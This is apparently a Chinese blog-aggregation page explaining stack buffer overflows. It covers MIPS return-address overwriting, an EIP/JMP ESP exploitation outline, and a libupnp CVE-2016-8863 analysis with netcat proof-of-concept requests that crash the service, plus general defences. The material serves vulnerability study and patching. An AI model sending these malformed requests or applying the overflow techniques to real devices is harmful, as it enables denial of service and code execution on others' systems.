精华内容
下载资源
问答
  • 数据库缓冲区溢出漏洞原理解析.pdf
  • 缓冲区溢出漏洞是一种非常普遍且危险的漏洞,在...本次内容主要分享和总结了MIPS程序的栈空间缓冲区溢出原理,并通过代码示例让你更进一步的体会缓冲区溢出漏洞的利用效果。 MIPS栈原理 这里的缓冲区主要指的是栈,...

    在这里插入图片描述
    缓冲区溢出漏洞是一种非常普遍且危险的漏洞,在各种操作系统、应用软件中广泛存在,在路由器中也不例外。利用缓冲区溢出攻击,可以造成程序运行失败、系统宕机、更为严重的是,利用缓冲区溢出攻击可以执行非授权指令,进而取得系统特权进行各种非法操作。本次内容主要分享和总结了MIPS程序的栈空间缓冲区溢出原理,并通过代码示例让你更进一步的体会缓冲区溢出漏洞的利用效果。

    MIPS栈原理

    这里的缓冲区主要指的是栈,所以,首先我们需要了解一下什么是栈,在计算机科学中,栈是一种具有先进后出(FILO)特性的数据结构。而函数的调用栈(Call Stack)就是指存放某个程序正在运行的函数的信息栈。调用栈由栈帧(Stack Frames)组成,每个栈帧则对应一个未完成运行的函数,在文稿中有一幅图表示了调用栈和栈帧的关系:
    在这里插入图片描述
    在x86计算机体系结构中,大部分编译器对函数的参数传递、局部变量分配和释放都是通过操作当前所在函数的栈帧实现的。在MIPS32架构中,函数调用时对函数栈帧的分配和使用方式与x86架构由很多相似之处,MIPS32架构中的栈可以结合一些寄存器完成诸如传递函数参数、局部变量保存、存储函数返回值、保存寄存器、恢复调用前处理器的状态等功能。

    MIPS32架构堆栈

    在MIPS32架构中,每次调用一个函数时,需要将当前调用栈的栈顶指针向下(也就是低地址方向)移动n个比特(也就是减去n个比特),这n个比特的空间就构成了当前被调用函数的栈帧。在这之后栈顶指针便不再移动,只能使用栈顶指针加上或减去一个偏移量来操作栈帧中的变量。最后,在函数返回时将栈顶指针再加上n个比特来恢复调用该函数前的栈现场。

    读者可以查看文稿中的两幅图,分别代表了函数A调用函数B之前和函数B正在执行时栈顶指针(SP)的变化情况:
    在这里插入图片描述
    在这里插入图片描述
    另外,在MIPS32架构中函数调用时的参数传递方式与x86有所不同,MIPS32中会将被调用函数的前4个参数通过 a 0   a0~ a0 a3传递。超过4个的部分被放到调用参数空间。

    关于这个调用参数空间的概念,比如说,函数A调用函数B,函数A会在自己的函数栈空间中预留一部分空间来保存函数B的参数,这个预留的空间就是调用参数空间。

    返回地址(RA寄存器)

    对于理解MIPS32架构中的缓冲区溢出原理,还有一个很重要的知识点就是函数的返回地址,在MIPS架构下,假如函数A调用了strcpy函数时,会将调用strcpy函数后需要返回的地址存入RA寄存器。这样当执行完函数strcpy后,跳转指令会从RA寄存器取出返回地址,以便继续执行后续的指令调用。

    void A(char *content) {
      unsigned char buf[32];
      strcpy(buf, content);
      B();
    }
    

    同样的,在A函数中调用的其他函数(如函数B)也可能基于同样的原因对RA寄存器进行修改,所以,在函数B刚开始运行时,会首先将RA寄存器的值保存到函数B的栈空间中,以便在函数B结束运行时从栈空间中恢复刚刚保存的RA寄存器的值。

    同样的,为了防止函数A调用的其他函数对RA寄存器进行修改,在函数A刚开始运行时,会首先将当前的RA寄存器的值保存到函数A的栈空间中,然后在函数A的末尾处将RA寄存器的值进行恢复。

    我在文稿中列出了一段C语言代码,和使用mips-linux-gcc编译器对这段代码编译后的反汇编代码,读者可以看图体会一下。对于汇编代码,你可能不太熟悉,我在后面的分享中会涉及,为了便于理解,这里你可以只看红色方框部分的汇编代码注释:

    void A(char *content) {
      //栈空间[4] = $RA
      unsigned char buf[32];
      strcpy(buf, content);
      B();
      //$RA = 栈空间[4]
    }
    

    在这里插入图片描述

    栈溢出原理

    前面我们提到了,函数的参数及局部变量是存储在函数栈空间的,而为了保证多个函数级联调用时RA寄存器不会被非法覆盖,RA寄存器的值也会被存储到函数的栈空间,而且存储在RA寄存器中的函数返回地址在栈上保存的位置在其他函数参数及局部变量的高地址处,这样就意味着,如果函数中的局部变量所指向的内存存在溢出或越界的可能,溢出的部分就有可能覆盖到保存RA寄存器存储的函数返回地址处,如果溢出成功,那么当在函数尾部从栈空间恢复返回地址到RA寄存器时,使用的将会是溢出后的地址,也就是攻击者精心构造的地址,而这个地址指向的是攻击者精心构造的恶意指令,从而这些恶意指令得到了执行的机会,进而完成一些其他的非法操作。
    在这里插入图片描述
    这里我针对上面的示例代码中的函数A的栈空间画了一幅图,RA寄存器保存在栈空间的高地址处,缓冲区buf在栈空间的低地址处,如果使用strcpy函数时,并且在拷贝的数据长度超过了32字节时(比如64个字节的A),超出的部分就会将保存RA寄存器值的内存覆盖。

    
    void main() {
      char ccc[64];
      memset(ccc, 'A', 64);
      A(ccc);
    }
    

    当函数A执行到末尾时,会从栈空间取出刚刚保存的RA地址对RA寄存器进行恢复:
    在这里插入图片描述
    当执行完恢复指令后,RA寄存器的值就变成了刚刚传入的“AAAA”。

    最终在函数的末尾使用jr指令进行地址跳转时,就将程序的执行流程劫持到了AAAA地址处,本文中使用的示例传入的是“AAAA”,如果传入的不是“AAAA”,而是攻击者精心构造的存有恶意指令的地址,那么这些被精心构造的指令将会被执行。

    今天我们结合示例代码讲解了路由器中缓冲区溢出的原理,在文稿中有一些反汇编代码,你可能对此有些陌生,但对于理解缓冲区溢出的原理并没有什么大的问题。不过,为了后面的ShellCode开发能够顺利进行,我在下次的分享中,将针对MIPS架构的汇编指令进行总结和分享。

    最后,希望本次的分享能够给你带来帮助,谢谢大家。

    展开全文
  • 缓冲区溢出: 前提: 一般发生在C这种需手工管理内存的语言编写的程序中 原理: 进程分控制层面和数据层面两个部分,每个部分各占一部分内存。 当程序没有对数据层面内存大小做限制时,输入一个超过数据...

     

    缓冲区溢出:

     

    前提:

    一般发生在C这种需手工管理内存的语言编写的程序中

     

     

    原理:

    进程分控制层面和数据层面两个部分,每个部分各占一部分内存。

    当程序没有对数据层面内存大小做限制时,输入一个超过数据内存大小的数据就会发生数据层面的数据把控制层面内存覆盖的情况,此时如果在数据尾部加上一些操作系统指令就会把该指令加载到控制层面

    内存(即寄存器)当中去,当CPU执行下一个控制层面内存里的内容时就会加载该恶意指令。  (注:寄存器中的EIPCPU要执行的下一条指令的内存地址)

     

     

     

     

    思路:

    对存在缓冲区溢出程序输入1000A,假如第900904A溢出到了寄存器中的EIPCPU要执行的下一条指令的内存地址,注意EIP存储的是一个16进制的内存地址。它本属于控制层面的内存空间),那也就意味着只要将第900904位置的数值替换为一个存放有shellcode的内存地址就可以拿下该主机。

    然后测试发现从第905个位置往后的数据都放入寄存器ESP中,那么也就意味着可以将第905个位置往后的数据替换为shellcode,再将900904位置的数据替换为ESP的内存地址。

     

    注意:但是由于目标程序每次启动占用内存位置的不同,ESP的内存地址也就每次都不同,所以EIP想要直接指定ESP内存地址基本不可能。

    解决方法:找一个每次占用内存地址都一样且拥有JMP ESP”的系统进程,将EIP指向这个进程中“JMP ESP”的内存地址,然后再跳到ESP。通过这种间接跳转的方式最终跳到ESP

     

     

     

     

    思考:

     

    1、为什么数据层面内存中的系统指令不会被执行

    (猜:应该是软件对数据层面做了限制,规定数据层面的内容只能当数据使用。如果没有该规定则该程序此处就是命令注入或者SQL注入漏洞了。也就是说缓冲区溢出是在没有命令注入漏洞的基础上更深一步的漏洞)

     

    2、为什么数据内存占满后剩下的数据会写入寄存器中的EIPESP中?

                  

    (猜:寄存器中的数据存放是有严格顺序的,每次都是EIPESP、数据内存这样循环执行。所以可以推测只要是缓冲区溢出问题就都会先溢出到EIPESP)

     

    转载于:https://www.cnblogs.com/baihualin/p/10896186.html

    展开全文
  • 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863。 (2)漏洞原理分析: 该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,...

    1、libupnp问题分析:

    (1)问题简述:

    根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863。

    (2)漏洞原理分析:

             该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,由于对输入数据未进行有效检验,造成对缓冲区溢出,可以导致服务器拒绝服务或崩溃;攻击者也可以精心制造一个攻击URL,通过subscribe request的callback header来执行任意代码。

             问题主要出现在下列这个for循环中,这个循环主要是解析订阅请求的Callback头里的URL列表,如果return_code == UPNP_E_OUTOF_MEMORY或者temp.hostport.text.size == 0,那么urlcount变量不会增加。

             如果提供了2个URL,第一个被正确解析,第二个没有,此时URLcount会等于1并且跳出循环。

     

    for( i = 0; i < URLS->size; i++ ) {
    
        if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
    
            if( ( ( return_code = parse_uri( &URLS->buff[i + 1],
    
                                             URLS->size - i + 1,
    
                                             &temp ) ) == HTTP_SUCCESS )
    
                && ( temp.hostport.text.size != 0 ) ) {
    
                URLcount++;
    
            } else {
    
                if( return_code == UPNP_E_OUTOF_MEMORY ) {
    
                    return return_code;
    
                }
    
            }
    
        }
    
    }

     

             下一段代码是溢出实际发生的地方。第一个条件为真是因为urlcount 1,接下来,分配一个缓冲区(out URL)来保存原始URI字符串的副本。然后,分配一个url_type类型的数组去存储每一个URL解析出来的具体内容。此时该数组的大小是1,因为urlcount=1;        但是问题是for循环将会再次解析原始字符串,

             这两个循环的唯一区别就是解析的URL存储在连续的索引中,而不是一个连续变量里。因此,当它解析第二个URI时,它将- > parsedURLs[1]的值传给parse_uri()函数,这是函数传递的一个数组结尾的地址。当parse_uri()填充该结构的值时,数组的地址就会被写入。

       
    if( URLcount > 0 ) {
        out->URLs = malloc(URLS->size + 1);
    
        out->parsedURLs = malloc(sizeof(uri_type) * URLcount);
    
        // omitted for readability
    
        memcpy( out->URLs, URLS->buff, URLS->size );
    
        out->URLs[URLS->size] = 0;
    
        URLcount = 0;
    
        for( i = 0; i < URLS->size; i++ ) {
    
            if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
    
                if( ( ( return_code =
    
                        parse_uri( &out->URLs[i + 1], URLS->size - i + 1,
    
                                   &out->parsedURLs[URLcount] ) ) ==
    
                      HTTP_SUCCESS )
    
                    && ( out->parsedURLs[URLcount].hostport.text.size !=
    
                         0 ) ) {
    
                    URLcount++;
    
                } else {
    
                    if( return_code == UPNP_E_OUTOF_MEMORY ) {
    
                        free( out->URLs );
    
                        free( out->parsedURLs );
    
                        out->URLs = NULL;
    
                        out->parsedURLs = NULL;
    
                        return return_code;
    
                    }
    
                }
    
            }
    
        }
    
    }

     

    根据恶意URI的格式不同,会导致不同的问题。有时,overwrite没有明显的影响,有时它会使程序崩溃。至少,可以实现拒绝服务攻击,也可以将其用于远程代码执行。

     

    (赵学鹏 2017.9.22)                                                         

    (3)漏洞Poc脚本

    First, compile for 32-bit with debugging enabled and an installation directory set. The reason for the setting the installation directory and compiling for 32-bits is so that “make install” results in a single binary that is easy to debug.

     

    .

    /configure --prefix=<install dir> --enable-debug --host=i686-linux-gnu CFLAGS="-m32 -fno-omit-frame-pointer" LDFLAGS=-m32
    
    make clean;make install

     

    To setup the default sample, which emulates a TV device, do the following from the libupnp directory:

     

    cd upnp/sample
    
    mkdir tvdevice
    
    cp -r web tvdevice

     

    To run the sample change to the directory you just created and run the binary:

     

    cd tvdevice
    
    ../.libs/tv_device

     

    With the sample running go to another terminal window. Enter the following to create a non-malicious subscription message:

     

    printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153>\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

    One form of a malicious message will crash the application is:

    printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><http://a:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

     

    Another is:

    printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><//:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

     

    Below is the output of address sanitizer from either of the two requests above (add “-fsanitize=address” to CFLAGS during configure).

     

    =================================================================
    
    ==13048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xeef07710 at pc 0xf698b0c3 bp 0xf1463998 sp 0xf1463988
    
    WRITE of size 4 at 0xeef07710 thread T8
    
        #0 0xf698b0c2 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x460c2)
    
        #1 0xf698cb13 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x47b13)
    
        #2 0xf6992e1c (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4de1c)
    
        #3 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
    
        #4 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
    
        #5 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
    
        #6 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
    
        #7 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
    
        #8 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
    
        #9 0xf69f13bc (/usr/lib/libasan.so.0.0.0+0xa3bc)
    
        #10 0xf68feb2b (/usr/lib/libpthread-2.17.so+0x6b2b)
    
        #11 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
    
    0xeef07710 is located 8 bytes to the right of 168-byte region [0xeef07660,0xeef07708)
    
    allocated by thread T8 here:
    
        #0 0xf69fe45f (/usr/lib/libasan.so.0.0.0+0x1745f)
    
        #1 0xf69928da (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4d8da)
    
        #2 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
    
        #3 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
    
        #4 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
    
        #5 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
    
        #6 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
    
        #7 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
    
        #8 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
    
    Thread T8 created by T0 here:
    
        #0 0xf69f12ca (/usr/lib/libasan.so.0.0.0+0xa2ca)
    
        #1 0xf693be13 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5e13)
    
        #2 0xf693c882 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x6882)
    
        #3 0xf6967c74 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x22c74)
    
        #4 0xf69a2aee (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5daee)
    
        #5 0xf69a2d2d (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5dd2d)
    
        #6 0x804fc17 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x804fc17)
    
        #7 0x805056c (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x805056c)
    
        #8 0x8050631 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x8050631)
    
        #9 0xf6754942 (/usr/lib/libc-2.17.so+0x19942)

     

    (4)漏洞修复

      Libupnp官方升级日志中显示在Version 1.6.21中修复了此漏洞:

     

      建议设备对libupnoSDK版本升级到1.6.21以上

             http://pupnp.sourceforge.net/

    转载于:https://www.cnblogs.com/Shepherdzhao/p/7575661.html

    展开全文
  • 缓冲区溢出漏洞攻击原理

    千次阅读 多人点赞 2019-05-09 22:47:00
    缓冲区溢出漏洞攻击原理 转自互联网 0x00 缓冲区溢出概念 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上, 理想的情况是程序检查数据长度并不允许输入...

    缓冲区溢出漏洞攻击原理

    转自互联网

    0x00 缓冲区溢出概念

        缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,

     

    理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使用的缓冲区,又被称为"堆栈"。在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。

     

    0x01 缓冲区溢出原理

        程序员通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:

      void function(char *str) {
    
          char buffer[16];
    
          strcpy(buffer,str);
    
          }

     

        上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf()等。

        当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid(Set User ID,)权限的话,攻击者就获得了一个有root权限的shell可以对系统进行任意操作了。


     

        缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。

        在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。在Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。

     

    0x02 缓冲区溢出漏洞攻击方式

        缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。一般利用缓冲区溢出漏洞攻击root程序,大都通过执行类似“exec(sh)”的执行代码来获得root 的shell。黑客要达到目的通常要完成两个任务,就是在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。

         

    1)在程序的地址空间里安排适当的代码

           在程序的地址空间里安排适当的代码往往是相对简单的。如果要攻击的代码在所攻击程序中已经存在了,那么就简单地对代码传递一些参数,然后使程序跳转到目标中就可以完成了。攻击代码要求执行“exec(‘/bin/sh’)”,而在libc库中的代码执行“exec(arg)”,其中的“arg”是个指向字符串的指针参数,只要把传入的参数指针修改指向“/bin/sh”,然后再跳转到libc库中的响应指令序列就可以了。当然,很多时候这个可能性是很小的,那么就得用一种叫“植入法”的方式来完成了。

     

    当向要攻击的程序里输入一个字符串时,程序就会把这个字符串放到缓冲区里,这个字符串包含的数据是可以在这个所攻击的目标的硬件平台上运行的指令序列。缓冲区可以设在:堆栈(自动变量)、堆(动态分配的)和静态数据区(初始化或者未初始化的数据)等的任何地方。也可以不必为达到这个目的而溢出任何缓冲区,只要找到足够的空间来放置这些攻击代码就够了。

        

    2)控制程序转移到攻击代码的形式

          缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程,使它跳转到攻击代码,最为基本的就是溢出一个没有检查或者其他漏洞的缓冲区,这样做就会扰乱程序的正常执行次序。通过溢出某缓冲区,可以改写相近程序的空间而直接跳转过系统对身份的验证。原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。但因不同地方的定位相异,所以也就带出了多种转移方式。

       (1)Function Pointers(函数指针)

           在程序中,“void (* foo) ( )”声明了个返回值为“void” Function Pointers的变量“foo”。Function Pointers可以用来定位任意地址空间,攻击时只需要在任意空间里的Function Pointers邻近处找到一个能够溢出的缓冲区,然后用溢出来改变Function Pointers。当程序通过Function Pointers调用函数,程序的流程就会实现。

       (2)Activation Records(激活记录)

           当一个函数调用发生时,堆栈中会留驻一个Activation Records,它包含了函数结束时返回的地址。执行溢出这些自动变量,使这个返回的地址指向攻击代码,再通过改变程序的返回地址。当函数调用结束时,程序就会跳转到事先所设定的地址,而不是原来的地址。这样的溢出方式也是较常见的。

          3)植入综合代码和流程控制

          常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和Activation Records。攻击时定位在一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出改变Activation Records的同时植入代码(权因C在习惯上只为用户和参数开辟很小的缓冲区)。植入代码和缓冲区溢出不一定要一次性完成,可以在一个缓冲区内放置代码(这个时候并不能溢出缓冲区),然后通过溢出另一个缓冲区来转移程序的指针。这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。如果想使用已经驻留的代码不需要再外部植入的时候,通常必须先把代码做为参数。在libc(熟悉C的朋友应该知道,现在几乎所有的C程序连接都是利用它来连接的)中的一部分代码段会执行“exec(something)”,当中的something就是参数,使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。

    程序编写的错误造成网络的不安全性也应当受到重视,因为它的不安全性已被缓冲区溢出表现得淋漓尽致了。

     

    0x03 缓冲区溢出的保护方法

        目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:

          1)强制写正确的代码的方法

          编写正确的代码是一件非常有意义但耗时的工作,特别像编写C语言那种具有容易出错倾向的程序(如:字符串的零结尾),这种风格是由于追求性能而忽视正确性的传统引起的。尽管花了很长的时间使得人们知道了如何编写安全的程序,具有安全漏洞的程序依旧出现。因此人们开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序。虽然这些工具帮助程序员开发更安全的程序,但是由于C语言的特点,这些工具不可能找出所有的缓冲区溢出漏洞。所以,侦错技术只能用来减少缓冲区溢出的可能,并不能完全地消除它的存在。除非程序员能保证他的程序万无一失,否则还是要用到以下部分的内容来保证程序的可靠性能。

           2)通过操作系统使得缓冲区不可执行,从而阻止攻击者殖入攻击代码

          这种方法有效地阻止了很多缓冲区溢出的攻击,但是攻击者并不一定要殖入攻击代码来实现缓冲区溢出的攻击,所以这种方法还是存在很多弱点的。

          3)利用编译器的边界检查来实现缓冲区的保护

         这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。

          4)在程序指针失效前进行完整性检查

          这样虽然这种方法不能使得所有的缓冲区溢出失效,但它的确确阻止了绝大多数的缓冲区溢出攻击,而能够逃脱这种方法保护的缓冲区溢出也很难实现。

    posted @ 2019-05-09 22:47 卿先生 阅读(...) 评论(...) 编辑 收藏

    展开全文
  • 溢出漏洞的全名:缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。 它一般是由于编成人员的疏忽造成的。 具体的讲,溢出漏洞是由于程序中的某个或某些输入函数(使用者输入...
  • 缓冲区溢出漏洞浅析

    千次阅读 2019-10-01 17:41:41
    缓冲区溢出大多数情况下编译器无法给出错误信息,而只有当程序运行期间才会暴露出来,所以缓冲区溢出也归属于运行时缺陷。运行期间发生异常是由于缓冲区溢出数据(包括上界和下界),破坏了缓冲区上下边界外其它变.....
  • 文章目录5-溢出漏洞I一、栈布局程序的内存栈结构函数参数在栈中的顺序函数调用栈函数调用链的栈布局二、易受攻击的代码缓冲区溢出的代价三、如何运行恶意代码环境准备 Environment Setup恶意输入的创建(badfile)Task...
  • 前面发了两篇都是关于C语言缓冲区溢出的文章,有的同行问,是否C#、Java语言有缓冲区溢出问题吗?答案是否定的。由于C#、Java语言需要虚拟机去执行,...下面我们再深一步了解缓冲区溢出原理。 缓冲区是一块连续的...
  • 缓冲区溢出漏洞

    千次阅读 2019-04-03 21:01:26
    缓冲区溢出 缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。 理想的情况是:程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设...
  • 看程序体验缓冲区溢出漏洞 缓冲区溢出漏洞从计算机出现初期就已经存在,并且今天仍然存在。大多数Internet蠕虫程序使用缓冲区溢出漏洞来传播,甚至Internet Explorer中的O-day漏洞,2004年的Sasser是一个利用微软...
  • buffer overflow 介绍软件漏洞的基本原理 如何通过反汇编进行缓冲区溢出漏洞的发现
  • 缓冲区溢出的原理及实践,黄雁,宋茂强,缓冲区溢出漏洞是当前互联网中的重要威胁之一。本文主要阐述缓冲区溢出原理以及具体的利用过程和方法,以达到知己知彼的目的,进
  • IoT上的缓冲区溢出漏洞

    千次阅读 2018-09-18 07:01:53
    在过去N年里,缓冲区溢出一直是网络攻击中最常被利用的漏洞。 看一下缓冲区是如何创建的,就能知道原因所在。 下面是C语言的一个例子: 第一步,程序员使用 malloc 函数并定义缓冲区内存的数量(例如32位) 第二步,...
  • "缓冲区溢出"漏洞是一个由来已久的漏洞类型,虽然现代操作系统的编译器,已经可以很大程度的阻止此类型漏洞的出现,但是作为一名合格的C程序员,还是有必要对此类漏洞原理进行一定了解的,今天我就带大家对此类...
  • 文章目录前言 前言 缓冲区是内存中存放数据的地方。在程序试图将数据放到及其内存中的某...缓冲区溢出漏洞是指在程序试图将数据放到及其内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出的现象。 ...
  • 缓冲区溢出漏洞实验

    2018-10-06 11:21:00
    实验——缓冲区溢出漏洞实验 目录 一、实验简介 二、实验准备 三、实验步骤 3.1初始设置 3.2 shellcode 3.3 漏洞程序 3.4 攻击程序及结果 四、练习 五、实验总结 六、参考材料 一、实验简介 缓冲区溢出...
  • BufferOverflow缓冲区溢出攻击原理实例源代码,Visual C++6.0环境下调试通过
  • 缓冲器溢出漏洞,是一种在软件中最易...它发生的原理是,由于软件在处理用户数据时使用了不限边界的拷贝,导致程序内部一些关键的数据被覆盖,引发安全问题,严重的缓冲区溢出漏洞会使得程序被利用进行木马或病毒安装。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,965
精华内容 2,786
关键字:

缓冲区溢出漏洞原理